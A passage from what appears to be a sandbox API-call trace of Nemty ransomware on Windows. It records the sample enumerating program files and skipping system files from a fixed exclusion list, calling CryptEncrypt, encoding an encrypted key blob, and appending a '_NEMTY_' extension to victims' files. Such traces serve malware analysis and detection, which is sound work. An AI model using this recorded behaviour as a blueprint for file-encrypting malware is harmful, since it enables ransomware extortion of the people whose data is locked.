(in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.612] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.612] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.612] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.612] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.621] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.621] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.621] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.631] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.631] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.640] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.640] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.649] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.649] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.649] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.649] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.655] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.655] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.655] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.655] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.661] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.661] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.661] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94158, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0052.662] CloseHandle (hObject=0xffffffff) returned 0 [0052.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f942c8 [0052.662] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0052.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0052.662] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0052.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0052.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0052.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94330 [0052.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8e) returned 0x4f94398 [0052.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0052.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0052.662] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\Common.fxh" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\Common.fxh._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh._nemty_kgobjgd_")) returned 0 [0052.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94398 | out: hHeap=0x4f90000) returned 1 [0052.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c8 | out: hHeap=0x4f90000) returned 1 [0052.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0052.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0052.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c0 | out: hHeap=0x4f90000) returned 1 [0052.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0052.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0052.662] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d12cc5, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d12cc5, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x6895ae5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d1f, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="DissolveAnother.png", cAlternateFileName="")) returned 1 [0052.662] lstrcmpiW (lpString1="DissolveAnother.png", lpString2=".") returned 1 [0052.662] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="..") returned 1 [0052.662] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="...") returned 1 [0052.662] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="windows") returned -1 [0052.662] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="$RECYCLE.BIN") returned 1 [0052.662] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="rsa") returned -1 [0052.662] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="NTDETECT.COM") returned -1 [0052.662] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="ntldr") returned -1 [0052.662] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="MSDOS.SYS") returned -1 [0052.663] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="IO.SYS") returned -1 [0052.663] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="boot.ini") returned 1 [0052.663] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="boot.ini") returned 1 [0052.663] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="AUTOEXEC.BAT") returned 1 [0052.663] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="ntuser.dat") returned -1 [0052.663] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="desktop.ini") returned 1 [0052.663] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="CONFIG.SYS") returned 1 [0052.663] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="RECYCLER") returned -1 [0052.663] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="BOOTSECT.BAK") returned 1 [0052.663] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="bootmgr") returned 1 [0052.663] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="programdata") returned -1 [0052.663] lstrcmpiW (lpString1="DissolveAnother.png", lpString2="appdata") returned 1 [0052.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0052.663] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DissolveAnother.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0052.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.663] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DissolveAnother.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DissolveAnother.png", lpUsedDefaultChar=0x0) returned 19 [0052.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0052.663] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DissolveAnother.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0052.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.663] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DissolveAnother.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DissolveAnother.png", lpUsedDefaultChar=0x0) returned 19 [0052.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0052.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0052.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0052.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0052.663] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DissolveAnother.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0052.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0052.663] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DissolveAnother.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DissolveAnother.png", lpUsedDefaultChar=0x0) returned 19 [0052.663] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0052.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0052.664] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DissolveAnother.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0052.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0052.664] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DissolveAnother.png", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DissolveAnother.png", lpUsedDefaultChar=0x0) returned 19 [0052.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0052.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f940f0 [0052.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0052.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94168 [0052.664] Sleep (dwMilliseconds=0x5) [0052.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd30bc810, dwHighDateTime=0x1d561e7)) [0052.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd30bc810, dwHighDateTime=0x1d561e7)) [0052.679] GetLastError () returned 0x5 [0052.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0052.679] GetLastError () returned 0x5 [0052.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0052.679] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0052.679] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0052.679] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0052.679] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0052.680] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0052.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f941e0 [0052.680] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f941e0, pcchString=0x653ef9c | out: pszString="eja5hvhCeUlKLdgrBgGu8irEl2yaVW+BpxYPIxejyQP7ZSy6OJtTZoogJVhNVYQG\r\nLHfv7oLincgEuhnnHw1IVJ5Dz1obCGFrXEhYReg1lHVSGf+J/kUvLi715LssUCQ9\r\nPkclckdAMaxLLyuCk5scRyErJCXJvLnBS+6NM2zYUqxNwolkO9EKnfX/yxZAP8ZI\r\nZWGaLmmMvrkU+xSv4f77Vnyl9lYpC3+QSHASt8/lkMpwblHB5TsGdSbc148aZyOr\r\nhUMNSXbx4od7bLhR9/O5f417UvC0ESb65nOb4YJf4EmQOfRYsS31vWu3ZxRjlJnj\r\nScpO+9KkYSxODg2uI1N4xw==\r\n", pcchString=0x653ef9c) returned 1 [0052.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0052.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941e0 | out: hHeap=0x4f90000) returned 1 [0052.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0052.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0052.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f941e0 [0052.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401c0 [0052.680] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0052.682] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0052.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0052.682] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.682] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.692] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.692] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.692] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.692] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.701] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.701] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.701] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.701] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.710] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.710] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.711] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.711] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.720] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.720] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.720] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.720] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.729] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.729] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.729] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.729] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.739] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.739] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.739] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.739] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.748] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.748] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.748] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.748] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.763] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0052.763] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0052.763] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0052.772] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 